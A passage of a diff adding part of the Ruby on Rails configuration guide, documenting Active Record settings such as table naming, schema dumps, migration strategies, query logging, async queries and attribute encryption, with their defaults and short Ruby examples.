+}
+```
+
+[ActiveModel::Error#full_message]: https://api.rubyonrails.org/classes/ActiveModel/Error.html#method-i-full_message
+
+### Configuring Active Record
+
+`config.active_record` includes a variety of configuration options:
+
+#### `config.active_record.logger`
+
+Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+
+#### `config.active_record.primary_key_prefix_type`
+
+Lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set). There are two other choices:
+
+* `:table_name` would make the primary key for the Customer class `customerid`.
+* `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`.
+
+#### `config.active_record.table_name_prefix`
+
+Lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+
+#### `config.active_record.table_name_suffix`
+
+Lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+
+#### `config.active_record.schema_migrations_table_name`
+
+Lets you set a string to be used as the name of the schema migrations table.
+
+#### `config.active_record.internal_metadata_table_name`
+
+Lets you set a string to be used as the name of the internal metadata table.
+
+#### `config.active_record.protected_environments`
+
+Lets you set an array of names of environments where destructive actions should be prohibited.
+
+#### `config.active_record.pluralize_table_names`
+
+Specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to `false`, then the Customer class will use the `customer` table.
+
+WARNING: Some Rails generators and installers (notably `active_storage:install`
+and `action_text:install`) create tables with plural names regardless of this
+setting. If you set `pluralize_table_names` to `false`, you will need to
+manually rename those tables after installation to maintain consistency.
+This limitation exists because these installers use fixed table names
+in their migrations for compatibility reasons.
+
+#### `config.active_record.default_timezone`
+
+Determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
+
+#### `config.active_record.schema_format`
+
+Controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. This can be overridden per-database by setting `schema_format` in your database configuration.
+
+#### `config.active_record.error_on_ignored_order`
+
+Specifies if an error should be raised if the order of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`.
+
+#### `config.active_record.timestamped_migrations`
+
+Controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+#### `config.active_record.automatically_invert_plural_associations`
+
+Controls whether Active Record will automatically look for inverse relations with a pluralized name.
+
+Example:
+
+```ruby
+class Post < ApplicationRecord
+  has_many :comments
+end
+
+class Comment < ApplicationRecord
+  belongs_to :post
+end
+```
+
+In the above case Active Record used to only look for a `:comment` (singular) association in `Post`, and won't find it.
+
+With this option enabled, it will also look for a `:comments` association. In the vast majority of cases
+having the inverse association discovered is beneficial as it can prevent some useless queries, but
+it may cause backward compatibility issues with legacy code that doesn't expect it.
+
+This behavior can be disabled on a per-model basis:
+
+```ruby
+class Comment < ApplicationRecord
+  self.automatically_invert_plural_associations = false
+
+  belongs_to :post
+end
+```
+
+And on a per-association basis:
+
+```ruby
+class Comment < ApplicationRecord
+  self.automatically_invert_plural_associations = true
+
+  belongs_to :post, inverse_of: nil
+end
+```
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+
+#### `config.active_record.validate_migration_timestamps`
+
+Controls whether to validate migration timestamps. When set, an error will be raised if the
+timestamp prefix for a migration is more than a day ahead of the timestamp associated with the
+current time. This is done to prevent forward-dating of migration files, which can impact migration
+generation and other migration commands. `config.active_record.timestamped_migrations` must be set to `true`.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.2                   | `true`               |
+
+#### `config.active_record.db_warnings_action`
+
+Controls the action to be taken when an SQL query produces a warning. The following options are available:
+
+  * `:ignore` - Database warnings will be ignored. This is the default.
+
+  * `:log` - Database warnings will be logged via `ActiveRecord.logger` at the `:warn` level.
+
+  * `:raise` - Database warnings will be raised as `ActiveRecord::SQLWarning`.
+
+  * `:report` - Database warnings will be reported to subscribers of Rails' error reporter.
+
+  * Custom proc - A custom proc can be provided. It should accept a `SQLWarning` error object.
+
+    For example:
+
+    ```ruby
+    config.active_record.db_warnings_action = ->(warning) do
+      # Report to custom exception reporting service
+      Bugsnag.notify(warning.message) do |notification|
+        notification.add_metadata(:warning_code, warning.code)
+        notification.add_metadata(:warning_level, warning.level)
+      end
+    end
+    ```
+
+#### `config.active_record.db_warnings_ignore`
+
+Specifies an allowlist of warning codes and messages that will be ignored, regardless of the configured `db_warnings_action`.
+The default behavior is to report all warnings. Warnings to ignore can be specified as Strings or Regexps. For example:
+
+  ```ruby
+  config.active_record.db_warnings_action = :raise
+  # The following warnings will not be raised
+  config.active_record.db_warnings_ignore = [
+    /Invalid utf8mb4 character string/,
+    "An exact warning message",
+    "1062", # MySQL Error 1062: Duplicate entry
+  ]
+  ```
+
+#### `config.active_record.migration_strategy`
+
+Controls the strategy class used to perform schema statement methods in a migration. The default class
+delegates to the connection adapter. Custom strategies should inherit from `ActiveRecord::Migration::ExecutionStrategy`,
+or may inherit from `DefaultStrategy`, which will preserve the default behavior for methods that aren't implemented:
+
+```ruby
+class CustomMigrationStrategy < ActiveRecord::Migration::DefaultStrategy
+  def drop_table(*)
+    raise "Dropping tables is not supported!"
+  end
+end
+
+config.active_record.migration_strategy = CustomMigrationStrategy
+```
+
+You can also configure migration strategies on a per-adapter basis by setting the `migration_strategy` class on the adapter itself.
+This is useful when you want to customize migration behavior for a specific database type.
+
+For example, to use a custom migration strategy for PostgreSQL:
+
+```ruby
+class CustomPostgresStrategy < ActiveRecord::Migration::DefaultStrategy
+  def drop_table(*)
+    # Custom logic specific to PostgreSQL
+  end
+end
+
+ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.migration_strategy = CustomPostgresStrategy
+```
+
+By assigning to the adapter class, all migrations run through connections using that adapter will use the specified strategy.
+
+#### `config.active_record.schema_versions_formatter`
+
+Controls the formatter class used by schema dumper to format versions information. Custom class can be provided
+to change the default behavior:
+
+```ruby
+class CustomSchemaVersionsFormatter
+  def initialize(connection)
+    @connection = connection
+  end
+
+  def format(versions)
+    # Special sorting of versions to reduce the likelihood of conflicts.
+    sorted_versions = versions.sort { |a, b| b.to_s.reverse <=> a.to_s.reverse }
+
+    sql = +"INSERT INTO schema_migrations (version) VALUES\n"
+    sql << sorted_versions.map { |v| "(#{@connection.quote(v)})" }.join(",\n")
+    sql << ";"
+    sql
+  end
+end
+
+config.active_record.schema_versions_formatter = CustomSchemaVersionsFormatter
+```
+
+#### `config.active_record.lock_optimistically`
+
+Controls whether Active Record will use optimistic locking and is `true` by default.
+
+#### `config.active_record.cache_timestamp_format`
+
+Controls the format of the timestamp value in the cache key. Default is `:usec`.
+
+#### `config.active_record.record_timestamps`
+
+Is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+
+#### `config.active_record.partial_inserts`
+
+Is a boolean value and controls whether or not partial writes are used when creating new records (i.e. whether inserts only set attributes that are different from the default).
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.0                   | `false`              |
+
+#### `config.active_record.partial_updates`
+
+Is a boolean value and controls whether or not partial writes are used when updating existing records (i.e. whether updates only set attributes that are dirty). Note that when using partial updates, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+
+#### `config.active_record.maintain_test_schema`
+
+Is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`.
+
+#### `config.active_record.dump_schema_after_migration`
+
+Is a flag which controls whether or not schema dump should happen
+(`db/schema.rb` or `db/structure.sql`) when you run migrations. This is set to
+`false` in `config/environments/production.rb` which is generated by Rails. The
+default value is `true` if this configuration is not set.
+
+#### `config.active_record.dump_schemas`
+
+Controls which database schemas will be dumped when calling `db:schema:dump`.
+The options are `:schema_search_path` (the default) which dumps any schemas listed in `schema_search_path`,
+`:all` which always dumps all schemas regardless of the `schema_search_path`,
+or a string of comma separated schemas.
+
+#### `config.active_record.before_committed_on_all_records`
+
+Enable before_committed! callbacks on all enrolled records in a transaction.
+The previous behavior was to only run the callbacks on the first copy of a record
+if there were multiple copies of the same record enrolled in the transaction.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+#### `config.active_record.belongs_to_required_by_default`
+
+Is a boolean value and controls whether a record fails validation if
+`belongs_to` association is not present.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `nil`                |
+| 5.0                   | `true`               |
+
+#### `config.active_record.belongs_to_required_validates_foreign_key`
+
+Enable validating only parent-related columns for presence when the parent is mandatory.
+The previous behavior was to validate the presence of the parent record, which performed an extra query
+to get the parent every time the child record was updated, even when parent has not changed.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.1                   | `false`              |
+
+#### `config.active_record.marshalling_format_version`
+
+When set to `7.1`, enables a more efficient serialization of Active Record instance with `Marshal.dump`.
+
+This changes the serialization format, so models serialized this
+way cannot be read by older (< 7.1) versions of Rails. However, messages that
+use the old format can still be read, regardless of whether this optimization is
+enabled.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `6.1`                |
+| 7.1                   | `7.1`                |
+
+#### `config.active_record.action_on_strict_loading_violation`
+
+Enables raising or logging an exception if strict_loading is set on an
+association. The default value is `:raise` in all environments. It can be
+changed to `:log` to send violations to the logger instead of raising.
+
+#### `config.active_record.strict_loading_by_default`
+
+Is a boolean value that either enables or disables strict_loading mode by
+default. Defaults to `false`.
+
+#### `config.active_record.strict_loading_mode`
+
+Sets the mode in which strict loading is reported. Defaults to `:all`. It can be
+changed to `:n_plus_one_only` to only report when loading associations that will
+lead to an N + 1 query.
+
+#### `config.active_record.index_nested_attribute_errors`
+
+Allows errors for nested `has_many` relationships to be displayed with an index
+as well as the error. Defaults to `false`.
+
+#### `config.active_record.use_schema_cache_dump`
+
+Enables users to get schema cache information from `db/schema_cache.yml`
+(generated by `bin/rails db:schema:cache:dump`), instead of having to send a
+query to the database to get this information. Defaults to `true`.
+
+#### `config.active_record.cache_versioning`
+
+Indicates whether to use a stable `#cache_key` method that is accompanied by a
+changing version in the `#cache_version` method.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.2                   | `true`               |
+
+#### `config.active_record.collection_cache_versioning`
+
+Enables the same cache key to be reused when the object being cached of type
+`ActiveRecord::Relation` changes by moving the volatile information (max
+updated at and count) of the relation's cache key into the cache version to
+support recycling cache key.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 6.0                   | `true`               |
+
+#### `config.active_record.has_many_inversing`
+
+Enables setting the inverse record when traversing `belongs_to` to `has_many`
+associations.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 6.1                   | `true`               |
+
+#### `config.active_record.automatic_scope_inversing`
+
+Enables automatically inferring the `inverse_of` for associations with a scope.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.0                   | `true`               |
+
+#### `config.active_record.destroy_association_async_job`
+
+Allows specifying the job that will be used to destroy the associated records in background. It defaults to `ActiveRecord::DestroyAssociationAsyncJob`.
+
+#### `config.active_record.destroy_association_async_batch_size`
+
+Allows specifying the maximum number of records that will be destroyed in a background job by the `dependent: :destroy_async` association option. All else equal, a lower batch size will enqueue more, shorter-running background jobs, while a higher batch size will enqueue fewer, longer-running background jobs. This option defaults to `nil`, which will cause all dependent records for a given association to be destroyed in the same background job.
+
+#### `config.active_record.queues.destroy`
+
+Allows specifying the Active Job queue to use for destroy jobs. When this option
+is `nil`, purge jobs are sent to the default Active Job queue (see
+[`config.active_job.default_queue_name`][]). It defaults to `nil`.
+
+#### `config.active_record.enumerate_columns_in_select_statements`
+
+When `true`, will always include column names in `SELECT` statements, and avoid wildcard `SELECT * FROM ...` queries. This avoids prepared statement cache errors when adding columns to a PostgreSQL database for example. Defaults to `false`.
+
+#### `config.active_record.verify_foreign_keys_for_fixtures`
+
+Ensures all foreign key constraints are valid after fixtures are loaded in tests. Supported by PostgreSQL and SQLite only.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.0                   | `true`               |
+
+#### `config.active_record.raise_on_assign_to_attr_readonly`
+
+Enable raising on assignment to attr_readonly attributes. The previous
+behavior would allow assignment but silently not persist changes to the
+database.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+#### `config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction`
+
+When multiple Active Record instances change the same record within a transaction, Rails runs `after_commit` or `after_rollback` callbacks for only one of them. This option specifies how Rails chooses which instance receives the callbacks.
+
+When `true`, transactional callbacks are run on the first instance to save, even though its instance state may be stale.
+
+When `false`, transactional callbacks are run on the instances with the freshest instance state. Those instances are chosen as follows:
+
+- In general, run transactional callbacks on the last instance to save a given record within the transaction.
+- There are two exceptions:
+    - If the record is created within the transaction, then updated by another instance, `after_create_commit` callbacks will be run on the second instance. This is instead of the `after_update_commit` callbacks that would naively be run based on that instance’s state.
+    - If the record is destroyed within the transaction, then `after_destroy_commit` callbacks will be fired on the last destroyed instance, even if a stale instance subsequently performed an update (which will have affected 0 rows).
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.1                   | `false`              |
+
+#### `config.active_record.default_column_serializer`
+
+The serializer implementation to use if none is explicitly specified for a given
+column.
+
+Historically `serialize` and `store` while allowing to use alternative serializer
+implementations, would use `YAML` by default, but it's not a very efficient format
+and can be the source of security vulnerabilities if not carefully employed.
+
+As such it is recommended to prefer stricter, more limited formats for database
+serialization.
+
+Unfortunately there isn't really any suitable defaults available in Ruby's standard
+library. `JSON` could work as a format, but the `json` gems will cast unsupported
+types to strings which may lead to bugs.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `YAML`               |
+| 7.1                   | `nil`                |
+
+#### `config.active_record.run_after_transaction_callbacks_in_order_defined`
+
+When `true`, `after_commit` callbacks are executed in the order they are defined in a model. When `false`, they are executed in reverse order.
+
+All other callbacks are always executed in the order they are defined in a model (unless you use `prepend: true`).
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+#### `config.active_record.query_log_tags_enabled`
+
+Specifies whether or not to enable adapter-level query comments. Defaults to
+`false`, but is set to `true` in the default generated `config/environments/development.rb` file.
+
+NOTE: When this is set to `true` database prepared statements will be automatically disabled.
+
+#### `config.active_record.query_log_tags`
+
+Define an `Array` specifying the key/value tags to be inserted in an SQL comment. Defaults to
+`[ :application, :controller, :action, :job ]`. The available tags are: `:application`, `:controller`,
+`:namespaced_controller`, `:action`, `:job`, and `:source_location`.
+
+WARNING: Calculating the `:source_location` of a query can be slow, so you should consider its impact if using it in a production environment.
+
+#### `config.active_record.query_log_tags_format`
+
+A `Symbol` specifying the formatter to use for tags. Valid values are `:sqlcommenter` and `:legacy`.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:legacy`            |
+| 7.1                   | `:sqlcommenter`      |
+
+#### `config.active_record.cache_query_log_tags`
+
+Specifies whether or not to enable caching of query log tags. For applications
+that have a large number of queries, caching query log tags can provide a
+performance benefit when the context does not change during the lifetime of the
+request or job execution. Defaults to `false`.
+
+#### `config.active_record.query_log_tags_prepend_comment`
+
+Specifies whether or not to prepend query log tags comment to the query.
+
+By default comments are appended at the end of the query. Certain databases, such as MySQL will
+truncate the query text. This is the case for slow query logs and the results of querying
+some InnoDB internal tables where the length of the query is more than 1024 bytes.
+In order to not lose the log tags comments from the queries, you can prepend the comments using this option.
+
+Defaults to `false`.
+
+#### `config.active_record.schema_cache_ignored_tables`
+
+Define the list of table that should be ignored when generating the schema
+cache. It accepts an `Array` of strings, representing the table names, or
+regular expressions.
+
+#### `config.active_record.verbose_query_logs`
+
+Specifies if source locations of methods that call database queries should be logged below relevant queries. By default, the flag is `true` in development and `false` in all other environments.
+
+#### `config.active_record.sqlite3_adapter_strict_strings_by_default`
+
+Specifies whether the SQLite3Adapter should be used in a strict strings mode.
+The use of a strict strings mode disables double-quoted string literals.
+
+SQLite has some quirks around double-quoted string literals.
+It first tries to consider double-quoted strings as identifier names, but if they don't exist
+it then considers them as string literals. Because of this, typos can silently go unnoticed.
+For example, it is possible to create an index for a non existing column.
+See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+#### `config.active_record.postgresql_adapter_decode_bytea`
+
+Specifies whether the PostgresqlAdapter should decode bytea columns.
+
+```ruby
+ActiveRecord::Base.connection
+     .select_value("select '\\x48656c6c6f'::bytea").encoding #=> Encoding::BINARY
+```
+
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 8.2                   | `true`               |
+
+#### `config.active_record.postgresql_adapter_decode_dates`
+
+Specifies whether the PostgresqlAdapter should decode date columns.
+
+```ruby
+ActiveRecord::Base.connection
+     .select_value("select '2024-01-01'::date").class #=> Date
+```
+
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.2                   | `true`               |
+
+#### `config.active_record.postgresql_adapter_decode_money`
+
+Specifies whether the PostgresqlAdapter should decode money columns.
+
+```ruby
+ActiveRecord::Base.connection
+     .select_value("select '12.34'::money").class #=> BigDecimal
+```
+
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 8.2                   | `true`               |
+
+
+#### `config.active_record.async_query_executor`
+
+Specifies how asynchronous queries are pooled.
+
+It defaults to `nil`, which means `load_async` is disabled and instead directly executes queries in the foreground.
+For queries to actually be performed asynchronously, it must be set to either `:global_thread_pool` or `:multi_thread_pool`.
+
+`:global_thread_pool` will use a single pool for all databases the application connects to. This is the preferred configuration
+for applications with only a single database, or applications which only ever query one database shard at a time.
+
+`:multi_thread_pool` will use one pool per database, and each pool size can be configured individually in `database.yml` through the
+`max_threads` and `min_threads` properties. This can be useful to applications regularly querying multiple databases at a time, and that need to more precisely define the max concurrency.
+
+#### `config.active_record.global_executor_concurrency`
+
+Used in conjunction with `config.active_record.async_query_executor = :global_thread_pool`, defines how many asynchronous
+queries can be executed concurrently.
+
+Defaults to `4`.
+
+This number must be considered in accordance with the database connection pool size configured in `database.yml`. The connection pool
+should be large enough to accommodate both the foreground threads (ie. web server or job worker threads) and background threads.
+
+For each process, Rails will create one global query executor that uses this many threads to process async queries. Thus, the pool size
+should be at least `thread_count + global_executor_concurrency + 1`. For example, if your web server has a maximum of 3 threads,
+and `global_executor_concurrency` is set to 4, then your pool size should be at least 8.
+
+#### `config.active_record.yaml_column_permitted_classes`
+
+Defaults to `[Symbol]`. Allows applications to include additional permitted classes to `safe_load()` on the `ActiveRecord::Coders::YAMLColumn`.
+
+#### `config.active_record.use_yaml_unsafe_load`
+
+Defaults to `false`. Allows applications to opt into using `unsafe_load` on the `ActiveRecord::Coders::YAMLColumn`.
+
+#### `config.active_record.raise_int_wider_than_64bit`
+
+Defaults to `true`. Determines whether to raise an exception or not when
+the PostgreSQL adapter is provided an integer that is wider than signed
+64bit representation.
+
+#### `config.active_record.generate_secure_token_on`
+
+Controls when to generate a value for `has_secure_token` declarations. By
+default, generate the value when the model is initialized:
+
+```ruby
+class User < ApplicationRecord
+  has_secure_token
+end
+
+record = User.new
+record.token # => "fwZcXX6SkJBJRogzMdciS7wf"
+```
+
+With `config.active_record.generate_secure_token_on = :create`, generate the
+value when the model is created:
+
+```ruby
+# config/application.rb
+
+config.active_record.generate_secure_token_on = :create
+
+# app/models/user.rb
+class User < ApplicationRecord
+  has_secure_token on: :create
+end
+
+record = User.new
+record.token # => nil
+record.save!
+record.token # => "fwZcXX6SkJBJRogzMdciS7wf"
+```
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:create`            |
+| 7.1                   | `:initialize`        |
+
+
+#### `config.active_record.permanent_connection_checkout`
+
+Controls whether `ActiveRecord::Base.connection` raises an error, emits a deprecation warning, or neither.
+
+`ActiveRecord::Base.connection` checkouts a database connection from the pool and keeps it leased until the end of
+the request or job. This behavior can be undesirable in environments that use many more threads or fibers than there
+is available connections.
+
+This configuration can be used to track down and eliminate code that calls `ActiveRecord::Base.connection` and
+migrate it to use `ActiveRecord::Base.with_connection` instead.
+
+The value can be set to `:disallowed`, `:deprecated`, or `true` to respectively raise an error, emit a deprecation
+warning, or neither.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+
+#### `config.active_record.database_cli`
+
+Controls which CLI tool will be used for accessing the database when running `bin/rails dbconsole`. By default
+the standard tool for the database will be used (e.g. `psql` for PostgreSQL and `mysql` for MySQL). The option
+takes a hash which specifies the tool per-database system, and an array can be used where fallback options are
+required:
+
+```ruby
+# config/application.rb
+
+config.active_record.database_cli = { postgresql: "pgcli", mysql: %w[ mycli mysql ] }
+```
+
+#### `config.active_record.use_legacy_signed_id_verifier`
+
+Controls whether signed IDs are generated and verified using legacy options. Can be set to:
+
+* `:generate_and_verify` (default) - Generate and verify signed IDs using the following legacy options:
+
+    ```ruby
+    { digest: "SHA256", serializer: JSON, url_safe: true }
+    ```
+
+* `:verify` - Generate and verify signed IDs using options from [`Rails.application.message_verifiers`][], but fall back to verifying with the same options as `:generate_and_verify`.
+
+* false - Generate and verify signed IDs using options from [`Rails.application.message_verifiers`][] only.
+
+The purpose of this setting is to provide a smooth transition to a unified configuration for all message verifiers. Having a unified configuration makes it more straightforward to rotate secrets and upgrade signing algorithms.
+
+WARNING: Setting this to false may cause old signed IDs to become unreadable if `Rails.application.message_verifiers` is not properly configured. Use [`MessageVerifiers#rotate`][ActiveSupport::MessageVerifiers#rotate] or [`MessageVerifiers#prepend`][ActiveSupport::MessageVerifiers#prepend] to configure `Rails.application.message_verifiers` with the appropriate options, such as `:digest` and `:url_safe`.
+
+[`Rails.application.message_verifiers`]: https://api.rubyonrails.org/classes/Rails/Application.html#method-i-message_verifiers
+[ActiveSupport::MessageVerifiers#rotate]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifiers.html#method-i-rotate
+[ActiveSupport::MessageVerifiers#prepend]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifiers.html#method-i-prepend
+
+#### `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` and `ActiveRecord::ConnectionAdapters::TrilogyAdapter.emulate_booleans`
+
+Controls whether the Active Record MySQL adapter will consider all `tinyint(1)` columns as booleans. Defaults to `true`.
+
+#### `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables`
+
+Controls whether database tables created by PostgreSQL should be "unlogged", which can speed
+up performance but adds a risk of data loss if the database crashes. It is
+highly recommended that you do not enable this in a production environment.
+Defaults to `false` in all environments.
+
+To enable this for tests:
+
+```ruby
+# config/environments/test.rb
+
+ActiveSupport.on_load(:active_record_postgresqladapter) do
+  self.create_unlogged_tables = true
+end
+```
+
+#### `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type`
+
+Controls what native type the Active Record PostgreSQL adapter should use when you call `datetime` in
+a migration or schema. It takes a symbol which must correspond to one of the
+configured `NATIVE_DATABASE_TYPES`. The default is `:timestamp`, meaning
+`t.datetime` in a migration will create a "timestamp without time zone" column.
+
+To use "timestamp with time zone":
+
+```ruby
+# config/application.rb
+
+ActiveSupport.on_load(:active_record_postgresqladapter) do
+  self.datetime_type = :timestamptz
+end
+```
+
+You should run `bin/rails db:migrate` to rebuild your schema.rb if you change this.
+
+#### `ActiveRecord::SchemaDumper.ignore_tables`
+
+Accepts an array of tables that should _not_ be included in any generated schema file.
+
+#### `ActiveRecord::SchemaDumper.fk_ignore_pattern`
+
+Allows setting a different regular expression that will be used to decide
+whether a foreign key's name should be dumped to db/schema.rb or not. By
+default, foreign key names starting with `fk_rails_` are not exported to the
+database schema dump. Defaults to `/^fk_rails_[0-9a-f]{10}$/`.
+
+#### `config.active_record.encryption.support_unencrypted_data`
+
+When `true`, unencrypted data can be read normally. When `false`, it will raise errors. Default: `false`.
+
+#### `config.active_record.encryption.extend_queries`
+
+When `true`, queries referencing deterministically encrypted attributes will be modified to include additional values if needed. Those additional values will be the clean version of the value (when `config.active_record.encryption.support_unencrypted_data` is `true`) and values encrypted with previous encryption schemes, if any (as provided with the `previous:` option). Default: `false`.
+
+#### `config.active_record.encryption.encrypt_fixtures`
+
+When `true`, encryptable attributes in fixtures will be automatically encrypted when loaded. Default: `false`.
+
+#### `config.active_record.encryption.store_key_references`
+
+When `true`, a reference to the encryption key is stored in the headers of the encrypted message. This makes for faster decryption when multiple keys are in use. Default: `false`.
+
+#### `config.active_record.encryption.add_to_filter_parameters`
+
+When `true`, encrypted attribute names are added automatically to [`config.filter_parameters`](#config-filter-parameters) and won't be shown in logs. Default: `true`.
+
+#### `config.active_record.encryption.excluded_from_filter_parameters`
+
+You can configure a list of params that won't be filtered out when `config.active_record.encryption.add_to_filter_parameters` is true. Default: `[]`.
+
+#### `config.active_record.encryption.validate_column_size`
+
+Adds a validation based on the column size. This is recommended to prevent storing huge values using highly compressible payloads. Default: `true`.
+
+#### `config.active_record.encryption.primary_key`
+
+The key or lists of keys used to derive root data encryption keys. The way they are used depends on the key provider configured. It's preferred to configure it via the `active_record_encryption.primary_key` credential.
+
+#### `config.active_record.encryption.deterministic_key`
+
+The key or list of keys used for deterministic encryption. It's preferred to configure it via the `active_record_encryption.deterministic_key` credential.
+
+#### `config.active_record.encryption.key_derivation_salt`
+
+The salt used when deriving keys. It's preferred to configure it via the `active_record_encryption.key_derivation_salt` credential.
+
+#### `config.active_record.encryption.forced_encoding_for_deterministic_encryption`
+
+The default encoding for attributes encrypted deterministically. You can disable
+forced encoding by setting this option to `nil`. It's `Encoding::UTF_8` by default.
+
+#### `config.active_record.encryption.hash_digest_class`
+
+Sets the digest algorithm used by Active Record Encryption.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is      |
+| --------------------- | ------------------------- |
+| (original)            | `OpenSSL::Digest::SHA1`   |
+| 7.1                   | `OpenSSL::Digest::SHA256` |
+
+#### `config.active_record.encryption.support_sha1_for_non_deterministic_encryption`
+
+Enables support for decrypting existing data encrypted using a SHA-1 digest
+class. When `false`, it will only support the digest configured in
+`config.active_record.encryption.hash_digest_class`.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.1                   | `false`              |
+
+#### `config.active_record.encryption.compressor`
+
+The compressor used to compress encrypted payloads. The default is `Zlib`. You can use your own compressor by setting this to a class that responds to `deflate` and `inflate`.
+
+#### `config.active_record.protocol_adapters`
+
+When using a URL to configure the database connection, this option provides a mapping from the protocol to the underlying
+database adapter. For example, this means the environment can specify `DATABASE_URL=mysql://localhost/database` and Rails will map
+`mysql` to the `mysql2` adapter, but the application can also override these mappings:
+
+```ruby
+config.active_record.protocol_adapters.mysql = "trilogy"
+```
+
+If no mapping is found, the protocol is used as the adapter name.
+
+#### `config.active_record.deprecated_associations_options`
+
+If present, this has to be a hash with keys `:mode` and/or `:backtrace`:
+
+```ruby
+config.active_record.deprecated_associations_options = { mode: :notify, backtrace: true }
+```
+
+* In `:warn` mode, accessing the deprecated association is reported by the
+  Active Record logger. This is the default mode.
+
+* In `:raise` mode, usage raises an `ActiveRecord::DeprecatedAssociationError`
+  with a similar message and a clean backtrace in the exception object.
+
+* In `:notify` mode, a `deprecated_association.active_record` Active Support
+  notification is published. Please, see details about its payload in the
+  [Active Support Instrumentation guide](active_support_instrumentation.html).
+
+Backtraces are disabled by default. If `:backtrace` is true, warnings include a
+clean backtrace in the message, and notifications have a `:backtrace` key in the
+payload with an array of clean `Thread::Backtrace::Location` objects. Exceptions
+always have a clean stack trace.
+
+Clean backtraces are computed using the Active Record backtrace cleaner.
+
+#### `config.active_record.raise_on_missing_required_finder_order_columns`
+
+Raises an error when order dependent finder methods (e.g. `#first`, `#second`) are called without `order` values
+on the relation, and the model does not have any order columns (`implicit_order_column`, `query_constraints`, or
+`primary_key`) to fall back on.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 8.1                   | `true`               |
+
+### Configuring Action Controller
+
+`config.action_controller` includes a number of configuration settings:
+
